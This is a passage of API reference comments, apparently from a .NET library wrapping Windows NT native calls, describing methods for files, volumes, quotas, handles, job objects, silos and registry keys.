to throw on error. + The NT status code. + + + + Wait for an oplock break to complete. + + The NT status code. + + + + Wait for an oplock break to complete. + + True to throw on error. + The NT status code. + + + + Wait for an oplock break to complete. + + The NT status code. + + + + Dispose. + + True is disposing. + + + + Try and cancel any pending asynchronous IO. + + + + + Get the extended attributes of a file. + + True to throw on error. + The extended attributes, empty if no extended attributes. + + + + Get the extended attributes of a file. + + The extended attributes, empty if no extended attributes. + + + + Set the extended attributes for a file. + + The EA buffer to set. + True to throw on error. + This will add entries if they no longer exist, + remove entries if the data is empty or update existing entires. + + + + Set the extended attributes for a file. + + The EA buffer to set. + This will add entries if they no longer exist, + remove entries if the data is empty or update existing entires. + + + + Set the extended attributes for a file. + + The name of the entry + The associated data + The entry flags. + + + + Set the extended attributes for a file. + + The name of the entry + The associated data + The entry flags. + + + + Set the extended attributes for a file. + + The name of the entry + The associated data + The entry flags. + + + + Remove an extended attributes entry for a file. + + The name of the entry + + + + Assign completion port to file. + + The completion port. + A key to associate with this completion. + + + + Check if a specific set of file directory access rights is granted + + The file directory access rights to check + True if all access rights are granted + + + + Get the cached signing level for a file. + + The cached signing level. + + + + Get the cached signing level for a file. + + The cached signing level. + + + + Get the cached singing level from the raw EA buffer. + + The cached signing level data. + Throw on error. + + + + Set the cached signing level for a file. + + Flags to set for the cache. + The signing level to cache + + + + Set the cached signing level for a file. + + Flags to set for the cache. + The signing level to cache + Optional directory path to look for catalog files. + + + + Set the cached signing level for a file. + + Flags to set for the cache. + The signing level to cache + Files for signature. + Optional directory path to look for catalog files. + + + + Set the cached signing level for a file. + + Flags to set for the cache. + The signing level to cache + Files for signature. + Optional directory path to look for catalog files. + True to throw on error. + + + + Set the end of file. + + The offset to the end of file. + + + + Set the valid data length of the file without zeroing. Needs SeManageVolumePrivilege. + + The length to set. + + + + Get list of hard link entries for a file. + + The list of entries. + + + + Get a list of stream entries for the current file. + + The list of streams. + + + + Visit all accessible streams under this file. + + A function to be called on every accessible stream. Return true to continue enumeration. + Specify the desired access for the streams. + The share access to open the streams with. + Additional options to open the s with. + True if all accessible streams were visited, false if not. + + + + Get list of process ids using this file. + + The list of process ids. + + + + Visit all accessible files under this directory. + + A function to be called on every accessible file. Return true to continue enumeration. + Specify the desired access for the files. + True to recurse into sub keys. + The share access to open the files with. + Specify max recursive depth. -1 to not set a limit. + Additional options to open the files with. + A file name mask (such as *.txt). Can be null. + Indicate what entries to return. + True if all accessible files were visited, false if not. + + + + Visit all accessible files under this directory. + + A function to be called on every accessible file. Return true to continue enumeration. + Specify the desired access for the files. + True to recurse into sub keys. + The share access to open the files with. + Specify max recursive depth. -1 to not set a limit. + Additional options to open the files with. + True if all accessible files were visited, false if not. + + + + Visit all accessible files under this directory. + + A function to be called on every accessible file. Return true to continue enumeration. + + + + Visit all accessible files under this directory. + + A function to be called on every accessible file. Return true to continue enumeration. + Specify the desired access for the files. + The share access to open the files with. + + + + Query whether a file is trusted for dynamic code. + + Returns true if the file is trusted. + + + + Set a file is trusted for dynamic code. + + + + + Set a file is trusted for dynamic code. + + True to throw on error. + The NT status code. + + + + Find files in a directory by the owner SID. + + The owner SID. + A list of files in the directory. + For this method to work you need Quota enabled on the volume. + + + + Get full change notifications. Will pick ex version if available and revert to old format if not. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + Wait timeout. + The list of changes. + + + + Get full change notifications. Will pick ex version if available and revert to old format if not. + + The filter of events to watch for. + True to watch all sub directories. + Wait timeout. + The list of changes. + + + + Get full change notifications asynchronously. Will pick ex version if available and revert to old format if not. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + Cancellation token. + The list of changes. + + + + Get full change notifications asynchronously. Will pick ex version if available and revert to old format if not. + + The filter of events to watch for. + True to watch all sub directories. + Cancellation token. + The list of changes. + + + + Get full change notifications asynchronously. Will pick ex version if available and revert to old format if not. + + The filter of events to watch for. + True to watch all sub directories. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + Wait timeout. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + Wait timeout. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + Cancellation token. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + Cancellation token. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + The list of changes. + + + + Get extended change notifications. + + The filter of events to watch for. + True to watch all sub directories. + Timeout to wait. + True to throw on error. + The list of changes. + + + + Get extended change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + Timeout to wait. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + Cancellation token. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + Cancellation token. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + The list of changes. + + + + Get the file attributes. + + True to throw on error. + The file attributes. + + + + Set the file attributes. + + The file attributes to set. + True to throw on error. + The NT status code. + + + + Get the creation time. + + True to throw on error. + The creation time. + + + + Get the last write time. + + True to throw on error. + The last write time. + + + + Get the change time time. + + True to throw on error. + The change time. + + + + Get the last access time. + + True to throw on error. + The last access time time. + + + + Set the file's creation time. + + The time to set. + True to throw on error. + The NT status code. + + + + Set the file's last access time. + + The time to set. + True to throw on error. + The NT status code. + + + + Set the file's last write time. + + The time to set. + True to throw on error. + The NT status code. + + + + Set the file's change time. + + The time to set. + True to throw on error. + The NT status code. + + + + Set the file position. + + The file position to set. + True to throw on error. + The NT status code. + + + + Get file information. + + + + + + + Query all reparse points from a volume. + + The list of reparse points. + You'll need to open the reparse database, which is typically \$Extend\$Reparse:$R:$INDEX_ALLOCATION on the volume. + + + + Query all object ids from a volume. + + The list of object ids. + You need to open the object ID database, which is typically \$Extend\$ObjId:$O:$INDEX_ALLOCATION on the volume. + + + + Get the Object ID buffer for a file. + + True to throw on error. + The object ID buffer. + + + + Get the Object ID create for a file. + + The object ID buffer. + + + + Get the Object ID buffer for a file. + + True to throw on error. + The object ID buffer. + + + + Get or create the Object ID for a file. + + The object ID buffer. + + + + Set Object ID and extended information. + + The Object ID buffer. + Only set the extended information. + True to throw on error. + The NT status code. + + + + Set Object ID and extended information. + + The Object ID buffer. + Only set the extended information. + The NT status code. + + + + Set Object ID and extended information. + + The Object ID GUID. + Extended info buffer, needs to be 48 bytes in size. + The NT status code. + + + + Set only Object ID extended information. + > + Extended info buffer, needs to be 48 bytes in size. + The NT status code. + + + + Delete the Object ID for a file. + + True to throw on error. + The NT status code. + + + + Delete the Object ID for a file. + + + + + Make the file sparse. + + True to make the file sparse. + True to throw on error. + The NT status code. + + + + Query if the driver is in the device stack for the device. + + The driver path. Can be a plain name of full object manager path, e.g. \Device\Blah. + True to throw on error. + True indicating driver in path. + + + + Query if the driver is in the device stack for the device. + + The driver path. + True indicating driver in path. + + + + Get filesystem and volume information. + + + + + Query a fixed buffer for a volume. + + The type to query. + The volume information class. + The returned type. + + + + Query a fixed buffer for a volume. + + The type to query. + The volume information class. + True to throw on error. + The returned type. + + + + Query a buffer for a volume. + + The type to query. + The volume information class. + True to throw on error. + The returned type. + + + + Query a buffer for a volume. + + The volume information class. + Initialization buffer. + True to throw on error. + The returned type. + + + + Query a buffer for a volume. + + The volume information class. + Initialization buffer. + The returned type. + + + + Query a buffer for a volume. + + The type to query. + The volume information class. + The returned type. + + + + Query a buffer for a volume. + + The volume information class. + The buffer for the query. Can be initialized. + True to throw on error. + The NT status code. + + + + Query a buffer for a volume. + + The volume information class. + The buffer for the query. Can be initialized. + + + + Set a buffer on a volume. + + The volume information class. + The buffer for the set. + True to throw on error. + The NT status code. + + + + Set a buffer on a volume. + + The volume information class. + The buffer for the set. + + + + Set a fixed value on a volume. + + The volume information class. + The fixed value to set. + True to throw on error. + The NT status code. + + + + Set a fixed value on a volume. + + The volume information class. + The fixed value to set. + + + + Query the quota entries for a volume. + + Return quote entries for the specified SIDs. + The list of quota entries. + + + + Query all quota entries for a volume. + + The list of quota entries. + + + + Set quota entries. + + The quota entries to set. + True to throw on error. + The NT status code. + + + + Set quota entries. + + The quota entries to set. + + + + Set quota entry. + + The quota entry to set. + + + + Set quota entry. + + The SID for the quota. + The quota limit to set. + The quota threshold to set. + + + + Get the file's full path. + + True to throw on error. + The file name. + + + + Get the file's normalized path. + + True to throw on error. + The file name. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get object ID for current file + + The object ID as a string + Thrown on error. + + + + Get object ID for current file as a number. + + The object ID as a number. + Thrown on error. + + + + Get or set the attributes of a file. + + The file attributes + Thrown on error. + + + + Get or set the creation time. + + + + + Get or set the last access time. + + + + + Get or set the last write time. + + + + + Get or set the change time. + + + + + Get file information, which is times, attributes and sizes. + + + + + Get or set the file as sparse. + + + + + Get whether this file represents a directory. + + + + + Get whether this file repsents a reparse point. + + + + + The result of opening the file, whether it was created, overwritten etc. + + + + + Get or set the current file position. + + + + + Get or sets the file's length + + + + + Get the file's allocation size. + + + + + Get the number of links. + + + + + Get whether delete is pending. + + + + + Get the Win32 path name for the file. + + The path, string.Empty on error. + + + + Get the low-level device type of the file. + + The file device type. + + + + Get the low-level device characteristics of the file. + + The file device characteristics. + + + + Get filesystem and volume information. + + + + + Get or set the file's compression format. + + + + + Gets whether the file is on a remote file system. + + + + + Get or set whether this file/directory is case sensitive. + + + + + Get or set whether this file/directory is case sensitive. + + + + + Get the file mode. + + + + + Get file access information. + + + + + Get the filename with the volume path. + + + + + Get the normalized filename with the volume path. + + + + + Get the associated short filename + + + + + Get the associated short filename + + + + + Get the normalized name. + + + + + Get or set the storage reserve ID. + + + + + Returns whether this object is a container. + + + + + Get or set the read only status of the file. + + + + + Is the file compressed. + + + + + Get remote protocol information. + + + + + Get the granted access as directory rights. + + + + + Get the file system control flags. + + + + + Get persist volume flags. + + + + + Return the status information field. (32 bit) + + + + + Class representing file information. + + + + + Time of creation. + + + + + Time of last access. + + + + + Time of last write. + + + + + Time of change. + + + + + Length of the file. + + + + + Length of the file, alias of EndOfFile. + + + + + Allocation size. + + + + + File attributes. + + + + + Has the file got a set of attributes set. + + The attributes to check. + True if it has the attributes. + + + + Is the file a directory. + + + + + Is the file a reparse point. + + + + + Class to represent a directory entry. + + + + + Index of the file. + + + + + File name. + + + + + Class to represent a directory entry with file IDs. + + + + + Length of any EA buffer. + + + + + The file reference number if known. + + + + + Class to represent a directory entry with short names. + + + + + Length of any EA buffer. + + + + + The short name of the file. + + + + + Class to represent a directory entry with short names and file ids. + + + + + Length of any EA buffer. + + + + + The short name of the file. + + + + + The file reference number if known. + + + + + Class to represent a file quota entry. + + + + + Class to represet a file object ID. + + + + + Full path to the file with the reparse point. + + + + + Win32 path to the file with the reparse point. + + + + + Reference number for the file. + + + + + The file's attributes. + + + + + The file's object ID. + + + + + The file's extended info. + + + + + File's birth volume ID. + + + + + File's birth object ID. + + + + + File's domain ID. + + + + + Class to represent a file reparse point. + + + + + Full path to the file with the reparse point. + + + + + Win32 path to the file with the reparse point. + + + + + Reference number for the file. + + + + + The file's attributes. + + + + + The reparse point buffer. + + + + + The reparse point tag. + + + + + Utility functions for files + + + + + Convert a DOS filename to an absolute NT filename + + The filename, can be relative + True to throw on error. + The NT filename + + + + Convert a DOS filename to an absolute NT filename + + The filename, can be relative + The NT filename + + + + Convert a DOS filename to an absolute NT filename + + List of paths to combine before converting. + The NT filename + + + + Convert a DOS filename to an NT filename and get as an ObjectAttributes structure + + The DOS filename. + The object attribute flags. + An optional security quality of service. + An optional security descriptor. + True to throw on error. + The object attributes + + + + Convert a DOS filename to an NT filename and get as an ObjectAttributes structure + + The DOS filename. + The object attribute flags. + An optional security quality of service. + An optional security descriptor. + The object attributes + + + + Convert a DOS filename to an NT filename and get as an ObjectAttributes structure + + The filename + The object attributes + + + + Convert a DOS filename to a UNICODE_STRING structure + + The DOS filename + The UNICODE_STRING + + + + Get type of DOS path + + The DOS filename + The type of DOS path + + + + Map directory access rights to file access rights. + + The directory access rights to map. + The mapped access rights. + + + + Convert a file ID long to a string. + + The file ID to convert + The string format of the file id. + + + + Convert a string to a file ID. + + The file ID as a string (must be 4 characters). + The file ID as a long. + + + + Get if a reparse tag is a Microsoft defined one. + + The reparse tag. + True if it's a Microsoft reparse tag. + + + + Get if a reparse tag is a name surrogate. + + The reparse tag. + True if it's a surrogate reparse tag. + + + + Get if a reparse tag is a directory which can have children. + + The reparse tag. + True if it's a directory reparse tag which can have children. + + + + Convert a directory access rights mask to a normal file access mask. + + The access to convert. + The converted access rights. + + + + Convert a file access rights mask to a directory file access mask. + + The access to convert. + The converted access rights. + + + + Enable or disable Wow64 FS redirection. + + True to enable FS redirection. + True to throw on error. + The old enable state. + + + + Enable or disable Wow64 FS redirection. + + True to enable FS redirection. + The old enable state. + + + + Split an allocated address into a list of pages. This can be used to pass to + ReadScatter or WriteGather file APIs. + + The base address to split. The address should be page aligned. + The length of bytes to split into pages. This will be rounded up to the next page boundary. + The list of pages. + + + + Split an allocated address into a list of pages. This can be used to pass to + ReadScatter or WriteGather file APIs. + + The allocated buffer to split. The address should be page aligned. + The buffer will be split up based on its length. Note that the length will be rounded up. + The list of pages. + + + + Attempt to convert an NT device filename to a DOS filename. + + The filename to convert. + The converted string. Returns a path prefixed with GLOBALROOT if it doesn't understand the format. + + + + Build a path for an open by ID file. + + The path to the volume. + The ID. + The bytes for the ID path. + + + + Build a path for a file ID volume. + + The path to the volume. + The file reference number. + The bytes for the file ID path. + + + + Build a path for an object ID volume. + + The path to the volume. + The file object ID. + The bytes for the file ID path. + + + + Generate a DOS filename from a full filename. + + The full filename. + True to allow extended characters. + Number of iterations of the algorithm to test. + True throw on error. + The DOS filename. + + + + Generate a DOS filename from a full filename. + + The full filename. + True to allow extended characters. + Number of iterations of the algorithm to test. + The DOS filename. + + + + Generate a DOS filename from a full filename. + + The full filename. + True to allow extended characters. + The DOS filename. + + + + Is the filename a legal 8dot3 name. + + The filename to check. + True if it's a legal 8dot3 name. + + + + Class representing a NT FilterConnectionPort object. Note this is just a dummy object for typing purposes. + + + + + A generic wrapper for any object, used if we don't know the type ahead of time. + + + + + Convert the generic object to the best typed object. + + The typed object. Can be NtGeneric if no better type is known. + + + + Convert the generic object to the best typed object. + + True to throw on error. + The typed object. Can be NtGeneric if no better type is known. + + + + Returns whether this object is a container. + + + + + Class to represent a system handle + + + + + The ID of the process holding the handle + + + + + Get the image path for the process which contains this handle. + + + + + Get name of the process which contains this handle. + + + + + The object type index + + + + + The object type name + + + + + The object type + + + + + The handle attribute flags. + + + + + The handle value + + + + + The address of the object. + + + + + The granted access mask + + + + + The granted access mask as a string. + + + + + The granted access mask as a string. + + + + + Whether the handle is inheritable. + + + + + Whether the handle is protected from close. + + + + + Whether the handle has write access. + + + + + Whether the handle has read access. + + + + + Whether the handle has execute access. + + + + + Whether the handle has full access. + + + + + The name of the object (needs to have set query access in constructor) + + + + + The security of the object (needs to have set query access in constructor) + + + + + Indicates if the handle was valid. + + This can cause the handle's values to be queried which can take time. + + + + Overridden ToString. + + The handle as a string. + + + + Get handle into the current process + + True to throw on error. + The handle to the object + + + + Get handle into the current process + + The handle to the object + + + + Close the handle in the original process. + + True throw on error. + The NT status code. + This is not recommended. + + + + Close the handle in the original process. + + This is not recommended. + + + + Class to call NT heap APIs. + + + + + Allocate a buffer from the heap. + + Heap flags. + Size of the allocation. + True to throw on error. + The allocated memory address. + + + + Allocate a buffer from the heap. + + Heap flags. + Size of the allocation. + The allocated memory address. + + + + Free a buffer from the heap. + + Heap flags. + Address of the allocation. + True to throw on error. + + + + Free a buffer from the heap. + + Heap flags. + Address of the allocation. + + + + Get the current process heap. + + + + + Class representing an NT IO Completion Port object + + + + + Create an IO Completion Port object + + The object attributes + The desired access for the event + Number of concurrent threads to process I/O packets. 0 for CPU count. + True to throw an exception on error. + The NT status code and object result. + Thrown on error. + + + + Create an IO Completion Port object + + The object attributes + The desired access for the event + Number of concurrent threads to process I/O packets. 0 for CPU count. + The IO Completion Port object. + Thrown on error. + + + + Create an IO Completion Port object + + The path to the IO Completion Port + The root object for relative path names + The desired access for the event + Number of concurrent threads to process I/O packets. 0 for CPU count. + The IO Completion Port object. + Thrown on error. + + + + Create an unnamed IO Completion Port object. + + The IO Completion Port object. + Thrown on error. + + + + Open an IO Completion Port object + + The object attributes + The desired access for the event + The IO Completion Port object. + Thrown on error. + + + + Open an IO Completion Port object + + The object attributes + The desired access for the event + True to throw an exception on error. + The NT status code and object result. + Thrown on error. + + + + Open an IO Completion Port object + + The path to the IO Completion Port + The root object for relative path names + The desired access for the event + The IO Completion Port object. + Thrown on error. + + + + Open an IO Completion Port object + + The path to the IO Completion Port + The IO Completion Port object. + Thrown on error. + + + + Remove a queued status from the queue. + + An optional timeout. + True to throw on error. + The completion result. + Thrown on error or timeout. + + + + Remove a queued status from the queue. + + An optional timeout. + The completion result. + Thrown on error or timeout. + + + + Remove multiple queued status from the queue. + + Maximum number of status to remove. + An optional timeout. + Indicate whether the wait is alertable. + True to throw on error. + Array of completion results. Length can be <= max_count. + + + + Remove multiple queued status from the queue. + + Maximum number of status to remove. + An optional timeout. + Indicate whether the wait is alertable. + Array of completion results. Length can be <= max_count. If timeout then returns an empty array. + + + + Remove multiple queued status from the queue. + + Maximum number of status to remove. + Array of completion results. Length can be <= max_count + + + + Remove a queued status from the queue. Wait for an infinite time for the result. + + The completion result. + + + + Add a queued status to the queue. + + The optional key context. + The optional APC context. + Status code + The information context. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Get current depth of IO Completion Port + + + + + Memory control method. + + + + + Buffered. + + + + + IN Direct. + + + + + OUT Direct. + + + + + Neither. + + + + + Access control flags. + + + + + Any access. + + + + + Read access. + + + + + Write access. + + + + + Represents a NT file IO control code. + + + + + Type of device + + + + + Function number + + + + + Buffering method + + + + + Access of file handle + + + + + Is the function number custom, i.e. has the top bit set. + + + + + Get a known name associated with this IO control code. + + + + + Constructor + + Type of device + Function number + Buffering method + Access of file handle + + + + Constructor + + Raw IO control code to convert. + + + + Static method to create an NtIoControlCode + + The conde as an integer. + The io control code. + + + + Convert the io control code to an Int32 + + The int32 version of the code + + + + Overriden hash code. + + The hash code. + + + + Overridden equals. + + The object to compare against. + True if equal. + + + + Overridden ToString method. + + The IO control code as a string. + + + + Format IO control code with an format specifier. + + The format specified. For example use X to format as a hexadecimal number. + The formatted string. + + + + Format the underlying IO control code with an format specifier. + + The format specified. For example use X to format as a hexadecimal number. + Format provider. + The formatted string. + + + + Class representing a NT Job object + + + + + Create a job object + + The object attributes + Desired access for job. + True to throw an exception on error. + The NT status code and object result. + + + + Create a job object + + The object attributes + Desired access for job. + The Job object. + + + + Create a job object + + The path to the job object (can be null) + The root object when path is relative + Desired access for job. + The Job object + + + + Create a job object + + The path to the job object (can be null) + The root object when path is relative + The Job object + + + + Create an unnamed job object + + The Job object + + + + Open a job object + + The object attributes + Desired access for job. + True to throw an exception on error. + The NT status code and object result. + + + + Open a job object + + The object attributes + Desired access for job. + The Job object + + + + Open a job object + + The path to the job object + The root object when path is relative + Desired access for the job object + The Job object + + + + Open a job object + + The path to the job object + The root object when path is relative + The Job object + + + + Create and initialize a Silo, + + Flags for root directory. + Desired access for the job. + Object attributes. + True to throw on error. + The Job object. + + + + Create and initialize a Silo, + + Flags for root directory. + Desired access for the job. + Object attributes. + The Job object. + + + + Create and initialize a Silo, + + Flags for root directory. + True to throw on error. + The Job object. + + + + Create an initialize a Silo, + + Flags for root directory. + The Job object. + + + + Create and initialize a Server Silo, + + Flags for root directory. + True to throw on error. + Path to the system root. + Event to signal when silo deleted. + True if a downlevel container. + Desired access for the job. + Object attributes. + The Job object. + + + + Create and initialize a Server Silo, + + Flags for root directory. + Path to the system root. + Event to signal when silo deleted. + True if a downlevel container. + Desired access for the job. + Object attributes. + The Job object. + + + + Create and initialize a Server Silo, + + Flags for root directory. + True to throw on error. + Path to the system root. + Event to signal when silo deleted. + True if a downlevel container. + The Job object. + + + + Create and initialize a Server Silo, + + Flags for root directory. + Path to the system root. + Event to signal when silo deleted. + True if a downlevel container. + The Job object. + + + + Convert Job object into a Silo + + True to throw on error. + The NT status code. + + + + Convert Job object into a Silo + + + + + Initialize a Silo, + + Flags for root directory. + True to throw on error. + The NT status code. + + + + Initialize a Silo, + + Flags for root directory. + + + + Initialize a Silo to a Server Silo. + + Event to signal when silo deleted. + True if a downlevel container. + True to throw on error. + The NT status code. + You must have set a system root and added a \Device directory (which shadows the real directory) to the silo object directory. + + + + Initialize a Silo to a Server Silo. + + Event to signal when silo deleted. + True if a downlevel container. + The NT status code. + + + + Create the silo's root object directory. + + The flags for the creation. + True to throw on error. + The NT status code. + + + + Create the silo's root object directory. + + The flags for the creation. + The NT status code. + + + + Assign a process to this job object. + + The process to assign. + + + + Assign a process to this job object. + + True to throw on error. + The process to assign. + The NT status code. + + + + Assign a process to this job object using current Job on Windows 1709+. + + + + + Assign a process to this job object using current Job on Windows 1709+. + + + + + Associate a completion port with the job. + + The completion port. + The key associated with the port. + + + + Terminate this job object. + + The termination status. + True to throw on error. + The NT status code. + + + + Terminate this job object. + + The termination status. + + + + Set the limit flags for the job. + + The limit flags. + True to throw on error. + The NT status code. + + + + Set the limit flags for the job. + + The limit flags. + + + + Set the Silo system root directory. + + The absolute path to the system root directory. + True to throw on error. + The system_root path must start with a capital drive letter and not end with a backslash. + The NT status code. + + + + Set the Silo system root directory. + + The absolute path to the system root directory. + The system_root path must start with a capital drive letter and not end with a backslash. + + + + Set the active process limit. + + The number of active processes in the job. + True to throw on error. + The NT status code. + + + + Set the active process limit. + + The number of active processes in the job. + + + + Set minimum and maximum working set size. + + The minimum working set size. + The maximum working set size. + True to throw on error. + The NT status code. + + + + Set minimum and maximum working set size. + + The minimum working set size. + The maximum working set size. + + + + Set the process memory limit. + + The memory limit for a process. + True to throw on error. + The NT status code. + + + + Set the process memory limit. + + The memory limit for a process. + The NT status code. + + + + Set the job memory limit. + + The memory limit for a job. + True to throw on error. + The NT status code. + + + + Set the job memory limit. + + The memory limit for a job. + The NT status code. + + + + Set the time limit for a process. + + The time limit for a process, in 100ns ticks. Set to 0 to clear the timeout. + True to throw on error. + The NT status code. + + + + Set the time limit for a process. + + The time limit for a process, in 100ns ticks. Set to 0 to clear the timeout. + + + + Set the time limit for a process. + + The time limit for a process. + True to throw on error. + The NT status code. + + + + Set the time limit for a process. + + The time limit for a process. + + + + Set the time limit for a job. + + The time limit for a job, in 100ns ticks. Set to 0 to clear timeout. + True to throw on error. + The NT status code. + + + + Set the time limit for a job. + + The time limit for a job, in 100ns ticks. Set to 0 to clear timeout. + + + + Set the time limit for a job. + + The time limit for a job. + True to throw on error. + The NT status code. + + + + Set the time limit for a job. + + The time limit for a job. + + + + Get list of process IDs in Job. + + True to throw on error. + The list of process IDs. + + + + Get list of process IDs in Job. + + The list of process IDs. + + + + Set UI Restriction Flags. + + The UI Restriction Flags. + True to throw on error. + The NT status code. + + + + Set UI Restriction Flags. + + The UI Restriction Flags. + The NT status code. + + + + Query Silo Root directory. + + True to throw on error. + The silo root directory. + + + + Get Silo basic information. + + True to throw on error. + The Silo Basic Information. + + + + Get Silo basic information. + + True to throw on error. + The Server Silo Basic Information. + + + + Get Silo user shared data. + + True to throw on error. + The Silo User Shared Data. + + + + Get whether this job object can be impersonated. + + True to throw on error. + True if the job object can be impersonated. + + + + Enable thread impersonation on this job object. + + True to throw on error. + The NT status code. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Get or set completion filter for job object. + + + + + The count of completions for the job. + + + + + Get or set the Maximum Bandwith NetRate limitation. + + + + + Get or set the DSCP Tag NetRate limitation. + + + + + Get or set the active process limit. + + + + + Get or set the active process limit. + + + + + Get or set the minimum working set size. + + + + + Get or set the maximum working set size. + + + + + Get or set the process time limit. + + + + + Get or set the process time limit. + + + + + Get or set the process memory limit. + + + + + Get or set the process memory limit. + + + + + Get used peak job memory used. + + + + + Get used peak job memory used. + + + + + Get or set the job limit flags. + + + + + Get or set the job UI Restriction flags. + + + + + Get or set whether job breakaway is allowed. + + + + + Get or set whether silenty job breakaway is allowed. + + + + + ID of container. + + + + + ID of container telemetry. + + + + + Job ID. + + + + + Get the Silo's Root Directory. + + + + + Get Silo basic information. + + + + + Get Silo basic information. + + + + + Get Silo user shared data. + + + + + Get or set the thread impersonation status. + + + + + Get whether this Job object is a silo. + + + + + Class to represent an NT Key object + + + + + Load a new hive + + The destination path + The path to the hive + Load flags + The opened root key + Thrown on error. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + The opened root key + Thrown on error. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + Key that this hive will be trusted for. + Event handle for key load. + True to throw an exception on error. + The NT status code and object result. + + + + Load a new hive and do not open the root key. + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Key that this hive will be trusted for. + Event handle for key load. + True to throw an exception on error. + The NT status code. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + Key that this hive will be trusted for. + Event handle for key load. + The opened key. + + + + Load a new hive and do not open the root key. + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Key that this hive will be trusted for. + Event handle for key load. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + True to throw an exception on error. + The NT status code and object result. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + Token to open the hive files under. + Key that this hive will be trusted for. + Event handle for key load. + True to throw an exception on error. + The NT status code and object result. + + + + Load a new hive and do not open the root key. + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Token to open the hive files under. + Key that this hive will be trusted for. + Event handle for key load. + True to throw an exception on error. + The NT status code. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + Token to open the hive files under. + Key that this hive will be trusted for. + Event handle for key load. + The loaded key. + + + + Load a new hive and do not open the root key. + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Token to open the hive files under. + Key that this hive will be trusted for. + Event handle for key load. + + + + Unload an existing hive. + + Object attributes for the key name + Unload flags + True to throw an exception on error. + The NT status code. + + + + Unload an existing hive. + + Path to key to unload. + Unload flags + Thrown on error. + + + + Unload an existing hive. + + Path to key to unload. + Thrown on error. + + + + Create a new Key + + Object attributes for the key name + Desired access for the root key + Create options + Optional transaction object. + True to throw an exception on error. + The NT status code and object result. + + + + Create a new Key + + Object attributes for the key name + Desired access for the root key + Create options + True to throw an exception on error. + The NT status code and object result. + + + + Create a new Key + + Object attributes for the key name + Desired access for the root key + Create options + The opened key + Thrown on error. + + + + Create a new Key + + Object attributes for the key name + Desired access for the root key + Create options + Optional transaction object. + The NT status code and object result. + + + + Create a new Key + + Path to the key to create + Root key if key_name is relative + Desired access for the root key + Create options + The opened key + Thrown on error. + + + + Try and open a Key + + Object attributes for the key name + Desired access for the root key + Open options. + Optional transaction object. + True to throw an exception on error. + The NT status code and object result. + + + + Try and open a Key + + Object attributes for the key name + Desired access for the root key + Open options. + True to throw an exception on error. + The NT status code and object result. + + + + Try and open a Key + + Path to the key to open + Root key if key_name is relative + Desired access for the root key + Open options. + Optional transaction object. + True to throw an exception on error. + The NT status code and object result. + + + + Try and open a Key + + Path to the key to open + Root key if key_name is relative + Desired access for the root key + Open options. + True to throw an exception on error. + The NT status code and object result. + + + + Open a Key + + Object attributes for the key name + Desired access for the root key + Open options. + The opened key + Thrown on error. + + + + Open a Key + + Object attributes for the key name + Desired access for the root key + Open options. + Optional transaction object. + The opened key + Thrown on error. + + + + Open a Key + + Path to the key to open + Root key if key_name is relative + Desired access for the root key + The opened key + Thrown on error. + + + + Query a license value. While technically not directly a registry key + it has many of the same properties such as using the same registry + value types. + + The name of the license value. + True to throw an exception on error + The license value key + + + + Query a license value. While technically not directly a registry key + it has many of the same properties such as using the same registry + value types. + + The name of the license value. + The license value key + + + + Create a registry key symbolic link + + Root key if path is relative + Path to the key to create + Target resistry path + The created symbolic link key + Thrown on error. + + + + Open the machine key + + The opened key with the maximum access allowed. + Thrown on error. + + + + Open the machine key + + The opened key with the maximum access allowed. + True to throw on error. + Thrown on error. + + + + Open the user key + + The opened key + Thrown on error. + + + + Open the user key + + The opened key with the maximum access allowed. + True to throw on error. + Thrown on error. + + + + Open a specific user key + + The SID of the user to open + The opened key + Thrown on error. + + + + Open the user key + + The SID of the user to open + True to throw on error. + The opened key with the maximum access allowed. + Thrown on error. + + + + Open the current user key + + The opened key + Thrown on error. + + + + Open the current user key + + True to throw on error. + The opened key with the maximum access allowed. + Thrown on error. + + + + Open the root key + + The opened key + 